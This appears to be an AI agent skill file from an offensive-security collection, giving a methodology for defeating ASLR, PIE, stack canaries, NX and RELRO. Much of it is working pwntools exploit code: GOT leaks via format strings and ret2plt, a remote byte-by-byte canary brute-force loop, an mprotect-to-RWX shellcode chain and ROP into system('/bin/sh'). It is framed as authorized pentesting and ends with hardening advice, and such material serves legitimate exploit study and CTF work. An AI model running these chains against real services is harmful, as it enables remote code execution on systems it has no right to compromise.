bypassing-binary-exploitation-mitigations
$
npx mdskill add xalgord/xalgorix/bypassing-binary-exploitation-mitigations- At the start of any authorized binary exploitation engagement, to profile which protections (ASLR, PIE, canary, NX/DEP, RELRO) are active and plan the exploit path accordingly. - When a working memory-corruption primitive is blocked by a mitigation: a canary aborts the process, NX prevents shellcode, PIE/ASLR randomizes gadget addresses, or Full RELRO makes the GOT read-only. - When deciding what to leak (libc pointer, PIE base, canary) and how (format string, ret2plt, arbitrary read, brute force in a forked server).
SKILL.md
.github/skills/bypassing-binary-exploitation-mitigationsView on GitHub ↗
---
name: bypassing-binary-exploitation-mitigations
description: Methodology for identifying and defeating common binary hardening mitigations during authorized exploitation —
ASLR, PIE, stack canaries, NX/DEP, and RELRO — by leaking addresses, brute-forcing entropy, abusing forked-process
behavior, and selecting the right code-reuse primitive for the protections in place.
domain: cybersecurity
subdomain: binary-exploitation
tags:
- binary-exploitation
- mitigation-bypass
- exploit-development
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Bypassing Binary Exploitation Mitigations
## When to Use
- At the start of any authorized binary exploitation engagement, to profile which protections (ASLR, PIE, canary,
NX/DEP, RELRO) are active and plan the exploit path accordingly.
- When a working memory-corruption primitive is blocked by a mitigation: a canary aborts the process, NX prevents
shellcode, PIE/ASLR randomizes gadget addresses, or Full RELRO makes the GOT read-only.
- When deciding what to leak (libc pointer, PIE base, canary) and how (format string, ret2plt, arbitrary read,
brute force in a forked server).
## Critical: Concepts/Steps Most Often Missed
- **Each mitigation is bypassed independently — enumerate them all first.** `checksec` output drives everything. A
binary can be PIE + canary + Full RELRO + NX, and you must defeat each separately (leak base, leak/forge canary,
avoid GOT writes, use ROP).
- **Canary low byte is a NUL.** On x64 the 8-byte canary's least significant byte is `0x00`; on x86 the 4-byte canary's
LSB is `0x00`. String functions stop on it, so a printed canary leak shows only 7 (or 3) random bytes — account for
the NUL when re-inserting it.
- **Forked servers share the canary and PIE slide.** `fork()` without `execve()` means children inherit the parent's
canary, so you can brute-force the canary (and PIE/stack addresses) one byte at a time using a crash-vs-success
oracle. `execve()` after fork() defeats this.
- **Full RELRO does not protect everything.** The main binary's GOT is read-only, but loaded shared libraries (libc) are
only Partial RELRO. Modern targets removed `__malloc_hook`/`__free_hook` (glibc 2.34+), so pivot to other writable
pointers, libc GOT, vtables, or SROP/ROP-into-libc.
- **PIE base ends in 000.** A leaked code pointer's low 12 bits are the page offset; the base is `leak & ~0xfff`. If
your computed base does not end in `000`, your leak or offset is wrong.
- **vsyscall/vDSO and fixed kernel maps escape ASLR.** `0xffffffffff600000` vsyscall has fixed addresses; on some arm64
Android kernels the linear map base is fixed, defeating KASLR with no leak.
### How to CONFIRM
Run `checksec --file ./vuln` (and `readelf -l/-d`) and record each protection. Confirm a leak is valid before building
on it: a leaked PIE/libc base must be page-aligned (`& 0xfff == 0`); a leaked canary's LSB must be `0x00`. Confirm a
canary bypass by sending the leaked canary back in the overflow and observing the process *return normally* (no
`*** stack smashing detected ***`). Confirm NX status with `readelf -W -l ./vuln | grep GNU_STACK` (an `E` flag = exec
stack).
## Workflow
### Step 1: Enumerate Protections
```bash
pwn checksec --file ./vuln
# RELRO, Stack Canary, NX, PIE — note each one
readelf -W -l ./vuln | grep GNU_STACK # NX: RW (no E) = non-exec stack
readelf -d ./vuln | grep BIND_NOW # present => Full RELRO
cat /proc/sys/kernel/randomize_va_space # 0=off, 1=conservative, 2=full ASLR
```
### Step 2: Defeat ASLR / PIE (Leak an Address)
```python
from pwn import *
elf = context.binary = ELF('./vuln')
# Option A: format-string arbitrary read of a GOT entry to leak libc
payload = p64(elf.got['puts']) + b'%7$s' # adjust offset
# Option B: ret2plt — call puts(puts@got) to leak puts's runtime address
rop = ROP(elf)
rop.puts(elf.got['puts']); rop.call(elf.symbols['main']) # leak then re-loop
# After leak:
leak = u64(io.recvline().strip().ljust(8, b'\x00'))
libc = elf.libc; libc.address = leak - libc.symbols['puts']
assert libc.address & 0xfff == 0, "bad leak / wrong offset"
# For PIE: elf.address = code_leak - known_offset
```
For 32-bit local targets with low entropy, brute force is viable: loop libc base across `0xb7000000..0xb8000000` step
`0x1000`, or use a NOP sled in env vars. Remote: brute-force `usleep(10)` address by watching for a 10s delay.
### Step 3: Defeat the Stack Canary
```python
# Forked-server byte-by-byte brute force (children share the canary)
canary = b'\x00' # known NUL LSB
for pos in range(7): # remaining 7 bytes on x64
for guess in range(256):
io = remote(HOST, PORT)
io.send(b'A'*buf_len + canary + bytes([guess]))
if b'smashing' not in io.recvall(timeout=1): # survived => correct
canary += bytes([guess]); io.close(); break
io.close()
# Or: leak the canary via format string / arbitrary read, then replay it.
payload = b'A'*offset + canary + b'B'*8 + rop_chain
```
Alternative bypasses: overwrite stack-stored pointers before the canary (pointer redirecting); in threaded apps overwrite
the master canary in TLS; with Partial RELRO + arbitrary write, neuter `__stack_chk_fail`'s GOT entry.
### Step 4: Defeat NX and RELRO (Pick the Code-Reuse Primitive)
```python
# NX on: no shellcode -> code reuse. Make a page RWX with mprotect then jump in.
rop = ROP(elf)
rop.mprotect(elf.bss() & ~0xfff, 0x1000, 7) # PROT_RWX
payload = flat({offset: rop.chain(), offset+len(rop.chain()): asm(shellcraft.sh())})
```
- **Partial RELRO**: overwrite a `.got.plt` entry or use ret2dlresolve; overwrite `.fini_array`/atexit pointers.
- **Full RELRO**: GOT is read-only — target libc's (Partial-RELRO) GOT, C++ vtables, or do pure ROP/SROP into libc.
- **SROP** (scarce gadgets): forge a sigframe, call `sys_rt_sigreturn` to load all registers, e.g. `mprotect` then run
stack shellcode.
- **CET/IBT hardened**: switch from ROP to JOP/COP (gadgets ending in `jmp`/`call [reg]`).
## Key Concepts
| Concept | Description |
|---------|-------------|
| **ASLR** | Randomizes stack/heap/libs/mmap; `randomize_va_space` 0/1/2. 32-bit has low entropy (brute-forceable). |
| **PIE** | Randomizes the binary's own base; bypass by leaking one code address (base = leak & ~0xfff). |
| **Stack canary** | Random value before saved RIP/EBP; LSB is NUL. Bypass by leak, replay, or forked brute force. |
| **NX / DEP** | Marks stack/heap non-executable; bypass with ROP/ret2libc/ret2syscall or mprotect-to-RWX. |
| **Partial RELRO** | `.got.plt` writable -> GOT overwrite / ret2dlresolve still possible. |
| **Full RELRO** | Entire GOT read-only (BIND_NOW); pivot to libc GOT, vtables, hooks, or ROP-into-libc. |
| **vsyscall/vDSO** | Fixed (non-ASLR) addresses usable as a stable `ret`/syscall source. |
| **Master canary forging** | In threaded apps, overwrite the TLS-stored master canary so the equal-vs-equal check passes. |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **checksec** | Enumerate RELRO/canary/NX/PIE in one command. |
| **readelf / objdump** | Confirm `GNU_STACK` perms, `BIND_NOW`, GOT/PLT and `.fini_array` layout. |
| **pwntools** | `ELF`, `ROP`, `libc.address`, `fmtstr_payload`, brute-force loops, `shellcraft`, process/remote. |
| **gdb + pwndbg/GEF** | `vmmap` for page perms and vsyscall, verify leaks/canary, inspect TLS (`fs:0x28`). |
| **ROPgadget / ropper** | Find gadgets for ret2libc/ret2syscall/SROP/JOP once a base is known. |
| **one_gadget** | Single-shot shell gadget after a libc leak (avoids GOT writes under Full RELRO). |
## Common Scenarios
### Scenario 1: PIE + NX + Partial RELRO
Leak a code pointer via format string, rebase the binary, then ROP using the binary's own gadgets; overwrite a
`.got.plt` entry or ret2dlresolve to reach `system`.
### Scenario 2: Canary + forked network service
Service forks per connection. Brute-force the 8-byte canary byte-by-byte (≤256 tries/byte) using crash vs. clean
response, then overflow past the replayed canary into a ROP chain.
### Scenario 3: Full RELRO + NX + ASLR
GOT is read-only and stack is non-exec. Leak libc via ret2plt `puts`, then ROP-into-libc `system("/bin/sh")` or a
one_gadget — no GOT write needed.
### Scenario 4: Low-entropy 32-bit + ASLR
Brute-force libc base locally, or stuff a large NOP sled into environment variables and jump to a guessed stack address
repeatedly until execution lands in the sled.
## Output Format
```
## Mitigation Assessment & Bypass Finding
**Target**: ./vuln (amd64)
**Protections**: PIE: yes | Canary: yes | NX: enabled | RELRO: Full | ASLR: 2 (full)
### Bypass Chain
1. ASLR/PIE: leaked libc via ret2plt puts@got -> base 0x7f...000 (page-aligned, confirmed)
2. Canary: leaked via format string %15$p -> 0x..00 (NUL LSB confirmed), replayed in overflow
3. NX/Full RELRO: pure ROP-into-libc system("/bin/sh") (no GOT write required)
### Proof
Process returned cleanly past canary; system("/bin/sh") yielded an interactive shell.
### Impact
All deployed mitigations bypassed -> reliable remote code execution.
### Recommendation
1. Keep Full RELRO, PIE, canaries, and NX enabled (they raise cost but are not individually sufficient).
2. Re-randomize the canary on fork (avoid fork-without-execve patterns in network daemons).
3. Adopt CET/shadow-stack (x86) or PAC/BTI (ARM) to break ROP/JOP.
4. Eliminate the root memory-corruption bug and the info-leak primitives that enable base/canary recovery.
```
More from xalgord/xalgorix
- abusing-hop-by-hop-headersTesting proxies, load balancers, and CDNs for improper handling of HTTP hop-by-hop headers, where an
- analyzing-macos-persistence-and-autostartEnumerating, planting, and hunting macOS persistence and auto-start (ASEP) locations during authorized
- api-discoveryAPI endpoint discovery including OpenAPI/Swagger detection, hidden versioning, REST/GraphQL enumeration, and content negotiation
- bypassing-captcha-protectionsIdentifying weaknesses in CAPTCHA implementations and bypassing them via replay, field removal,
- bypassing-macos-gatekeeper-tcc-and-sipAssessing and bypassing macOS userland and platform security controls during authorized engagements -
- bypassing-restricted-shellsEscaping restricted shells (rbash, rksh, lshell), chroot jails, and language sandboxes (Lua, Python)
- bypassing-two-factor-and-otpIdentifying and exploiting flaws in two-factor authentication and one-time password verification
- deepExhaustive security assessment with maximum coverage, depth, and vulnerability chaining
- exploiting-ai-model-file-rceTesting machine-learning model files and model-loading services for remote code execution caused by insecure
- exploiting-arbitrary-write-to-executionMethodology for converting an arbitrary-write (write-what-where) or write-anything-anywhere primitive into